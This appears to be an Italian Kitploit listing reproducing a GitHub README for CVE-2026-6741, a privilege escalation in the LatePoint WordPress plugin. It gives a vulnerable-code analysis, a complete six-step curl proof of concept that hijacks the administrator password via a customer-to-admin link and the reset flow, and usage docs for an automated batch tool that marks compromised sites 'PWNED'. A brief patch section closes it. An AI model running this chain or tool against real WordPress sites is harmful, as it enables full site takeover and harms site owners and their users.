Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-6741 — CVE-2026-6741 è una vulnerabilità di escalation dei privilegi con CVSS 8.8 (Alta) Autenticato (Agente+) nel plugin LatePoint – Calendar Booking | Kitploit
Strumenti/GitHubGitHub/xxconi/cve-2026-6741
Escalation di PrivilegiScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e Formazione
GitHubxxconi/cve-2026-6741

CVE-2026-6741

CVE-2026-6741 è una vulnerabilità di escalation dei privilegi con CVSS 8.8 (Alta) Autenticato (Agente+) nel plugin LatePoint – Calendar Booking

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-6741

CVE-2026-6741 è una vulnerabilità di escalation dei privilegi autenticata (Agent+) con CVSS 8.8 (Alta) nel plugin LatePoint – Calendar Booking Plugin

CVE-2026-6741 — LatePoint Privilege Escalation Scanner

Plugin: LatePoint – Calendar Booking Plugin for Appointments and Events (latepoint) CVE ID: CVE-2026-6741 CVSS Score: 8.8 (High) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Tipo di vulnerabilità: Authenticated (Agent+) Privilege Escalation → Administrator Takeover Versioni affette: <= 5.4.1 Versione patchata: 5.4.2 Data di pubblicazione: 27 Aprile 2026 Ricercatori: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence


📌 Sulla vulnerabilità

Un attaccante autenticato con il ruolo latepoint_agent può collegare qualsiasi record cliente LatePoint a un account amministratore WordPress e quindi modificare la password dell'amministratore utilizzando il flusso di reimpostazione della password di LatePoint. Ciò si traduce in un completo compromissione del sito.


🔍 Riepilogo della vulnerabilità


⚙️ Analisi tecnica

WordPress Abilities API

LatePoint 5.3.0 ha aggiunto il supporto per Abilities API introdotta con WordPress 6.9+. Questa API consente ai plugin di registrare classi "ability" richiamabili tramite REST API:

root@kitploit:~
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
    include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}

Percorso del codice vulnerabile

1 — Definizione dell'abilità (Controllo ruolo mancante)

root@kitploit:~
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
    $this->id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← unico controllo: questa capability
}

Il ruolo Agent ha per impostazione predefinita la capability customer__edit:

root@kitploit:~
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← agent possiede questa capability
        ...
    ];
}

2 — execute() — Nessun controllo del ruolo

root@kitploit:~
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
    $customer   = new OsCustomerModel( (int) $args['customer_id'] );
    $wp_user_id = (int) $args['wp_user_id'];

    if ( ! get_userdata( $wp_user_id ) ) {
        // Viene controllato solo se l'utente esiste
        // MANCANTE: il ruolo dell'utente target non viene controllato
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← collega a qualsiasi utente WP
    $customer->save();

    return $this->serialize_customer( ... );
}

3 — Catena di reimpostazione della password

root@kitploit:~
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers()
         && $this->wordpress_user_id ) {
        wp_set_password( $password, $this->wordpress_user_id );
        // ↑ wordpress_user_id ora è l'ID admin → la password admin cambia
    }
}

Perché i controlli attuali sono insufficienti?

root@kitploit:~
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
    // Controlla solo il permesso del CHIAMANTE
    // Non controlla il ruolo dell'utente DESTINATARIO
}

🔴 Catena d'attacco

root@kitploit:~
account latepoint_agent
        │
        ▼
1. Accedi a WP come Agent → ottieni il nonce REST
        │
        ▼
2. Identifica l'ID utente WordPress admin target
   (wp-json/wp/v2/users o ID=1)
        │
        ▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
   { "customer_id": 5, "wp_user_id": 1 }
   → Nessun controllo del ruolo → Riuscito
        │
        ▼
4. LatePoint forgot_password → invia token di reset all'email del customer
        │
        ▼
5. Con il token chiama change_password → update_password() viene chiamata
   → wp_set_password("Hacked!", 1)
   → Password admin modificata
        │
        ▼
6. Accedi come admin con la nuova password → Controllo completo del sito ✓

🧪 Proof of Concept (Manuale)

⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisiti:

  • WordPress 6.9+ (Abilities API richiesta)
  • LatePoint <= 5.4.1 installato e attivo
  • Account con ruolo latepoint_agent
  • Un record cliente LatePoint controllato

Passo 1 — Login Agent + REST Nonce

root@kitploit:~
WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"

# Cookie tabanlı oturum aç
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# REST nonce al
NONCE=$(curl -s -b cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"

Passo 2 — Identificazione ID utente admin

root@kitploit:~
# REST API ile admin kullanıcıları listele
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
  -H "X-WP-Nonce: $NONCE" | python3 -m json.tool

ADMIN_WP_USER_ID=1   # Genellikle ID=1

Passo 3 — Collegamento Customer → Admin (Vulnerabilità)

root@kitploit:~
CUSTOMER_ID=5   # Kontrol ettiğin LatePoint customer ID

curl -s -b cookies.txt -X POST \
  "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: $NONCE" \
  -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

Beklenen yanıt:

root@kitploit:~
{
  "id": 5,
  "wp_user_id": 1,
  "email": "[email protected]"
}

Passo 4 — Avvia reimpostazione password

root@kitploit:~
CUSTOMER_EMAIL="[email protected]"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_email=$CUSTOMER_EMAIL"

LatePoint invia un'email di reset all'indirizzo $CUSTOMER_EMAIL contenente un token account_nonce.


Passo 5 — Cambia password

root@kitploit:~
RESET_TOKEN="<emailden_alinan_token>"
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

Questa chiamata attiva la catena update_password() → wp_set_password($NEW_PASSWORD, 1). La password admin è cambiata.


Passo 6 — Accedi come admin

root@kitploit:~
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
  "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

Verifica

root@kitploit:~
# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)

# REST API ile rol doğrulama
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")

curl -s "$WP_URL/wp-json/wp/v2/users/me" \
  -H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Beklenen: "roles": ["administrator"]

🛠️ Scanner automatico

Installazione

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Utilizzo

Singolo target — Completamente automatico

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123!

Specifica manuale di Admin ID e Customer ID

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected]

Fase 2 — Cambia password con token di reset

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected] \
  --reset-token abc123xyz \
  --new-password Hacked_2026!

Scansione batch

root@kitploit:~
python latepoint_privesc.py -l targets.txt -t 10 \
  --agent-user agent1 --agent-pass Pass123! \
  -o sonuclar.txt

Con proxy (Burp Suite)

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ Parametri

Generali

Credenziali Agent

ParametroDescrizione
--agent-userNome utente Agent (obbligatorio)
--agent-passPassword Agent (obbligatorio)

Parametri target

ParametroDescrizionePredefinito
--admin-id

Reimpostazione password (Fase 2)

ParametroDescrizionePredefinito
--reset-tokenToken di reset ricevuto via email—
--new-passwordNuova password adminPwned_CVE2026_6741!

📊 Stati di output dello scanner


🖥️ Esempio di output dello scanner

root@kitploit:~
[*] Target         : http://hedef.com
[*] Agent         : agent1
[*] Admin ID      : rilevamento automatico
[*] Customer ID   : rilevamento automatico
[*] Reset Token   : email in attesa
[*] Nuova Password : Pwned_CVE2026_6741!

[→] http://hedef.com  Passo 1/6: Login Agent...
[→] http://hedef.com  Passo 2/6: Identificazione ID utente admin...
[→] http://hedef.com  Passo 3/6: Identificazione Customer ID...
[→] http://hedef.com  Passo 4/6: Collegamento Customer #5 → Admin #1...
[→] http://hedef.com  Passo 5/6: Avvio reimpostazione password...
[→] http://hedef.com  Passo 6/6: Modifica password (token manuale)...

════════════════════════════════════════════════════════════
[★ PWNED     ] http://hedef.com
  Versione    : 5.4.1
  Admin ID    : 1
  Customer    : #5 <[email protected]>
  Utente      : admin  roles=['administrator']
════════════════════════════════════════════════════════════

[+] Salvato → privesc_results.txt

🔄 Flusso di utilizzo in due fasi

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│  FASE 1 — Collega + Invia email di reset               │
│                                                         │
│  python latepoint_privesc.py -u http://hedef.com \      │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email [email protected]   │
│                                                         │
│  → Output: "Email di reset inviata — token in attesa"  │
└─────────────────────────┬───────────────────────────────┘
                           │
                  Ottieni il token dall'email
                           │
┌─────────────────────────▼───────────────────────────────┐
│  FASE 2 — Cambia la password con il token              │
│                                                         │
│  python latepoint_privesc.py -u http://hedef.com \      │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email [email protected] \ │
│    --reset-token abc123xyz \                            │
│    --new-password Hacked_2026!                          │
│                                                         │
│  → Output: ★ PWNED — roles=['administrator']           │
└─────────────────────────────────────────────────────────┘

🛡️ Difesa / Patch

Esempio di execute() sicuro:

root@kitploit:~
// Non sicuro (attuale — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
    return new WP_Error( 'wp_user_not_found', ... );
}

// Sicuro (raccomandato — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
    return new WP_Error( 'wp_user_not_found', ... );
}
// Controlla il ruolo dell'utente target
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
    return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}

📁 Struttura dei file

root@kitploit:~
cve-2026-6741-scanner/
├── latepoint_privesc.py   # Scanner principale
├── requirements.txt       # Dipendenze
└── README.md              # Questo file

⚠️ Avviso legale

Questo strumento e PoC sono progettati per essere utilizzati solo su sistemi autorizzati, a scopo educativo e nell'ambito di test di penetrazione. L'uso su sistemi non autorizzati costituisce un reato ai sensi degli articoli 243-245 del Codice penale turco e delle leggi internazionali sui crimini informatici. Lo sviluppatore non si assume alcuna responsabilità legale derivante dall'uso improprio dello strumento.


📄 Licenza

MIT License — Solo a scopo educativo e di ricerca.


🔗 Riferimenti

  • Wordfence Advisory
  • WordPress Abilities API — WP 6.9
  • LatePoint Plugin Directory
  • CVSS 3.1 Calculator
  • CWE-269: Improper Privilege Management
Scarica lo strumento
CampoValore
Nome del pluginLatePoint – Calendar Booking Plugin
Plugin Sluglatepoint
CVE IDCVE-2026-6741
Punteggio CVSS8.8 (High)
Tipo di vulnerabilitàAuthenticated (Agent+) Privilege Escalation
Versione affetta<= 5.4.1
Versione patchata5.4.2
Requisitoruolo latepoint_agent, WordPress 6.9+
ParametroBreveDescrizionePredefinito
--url-uURL del singolo target—
--list-lFile di elenco target—
--threads-tNumero di thread5
--output-oFile di outputprivesc_results.txt
--proxy—Proxy URL—
--timeout—Timeout richiesta (s)10
--force—Continua anche se il rilevamento Abilities API fallisceFalse
ID utente WP admin target
rilevamento automatico
--customer-idID customer LatePoint controllatorilevamento automatico
--customer-emailIndirizzo email customer LatePointemail agent
StatoDescrizione
★ PWNEDPassword admin modificata, accesso effettuato
~ RESET_SENTEmail di reset inviata — token in attesa
~ PWD_CHANGEPassword cambiata — verifica manuale accesso admin
- LINK_FAILCollegamento Customer-Admin fallito
- LOGIN_FAILLogin Agent fallito
- NO_PLUGINLatePoint non installato
- NO_ABILITYAbilities API disattivata (richiede WP 6.9+)
~ NO_CUSTCustomer ID non trovato — specificare manualmente
~ UNREACHTarget non raggiungibile
MisureImplementazione
Aggiornamento del pluginAggiornare alla versione 5.4.2+ di LatePoint
Aggiungere controllo del ruoloVerificare il ruolo dell'utente target all'interno di execute()
Limitare Abilities APIRimuovere la capacità connect-customer-to-wp-user dal ruolo Agent
Protezione reimpostazione passwordDisabilitare il flusso di reset di LatePoint per gli account admin
Audit Abilities WP 6.9Revisionare regolarmente le abilità registrate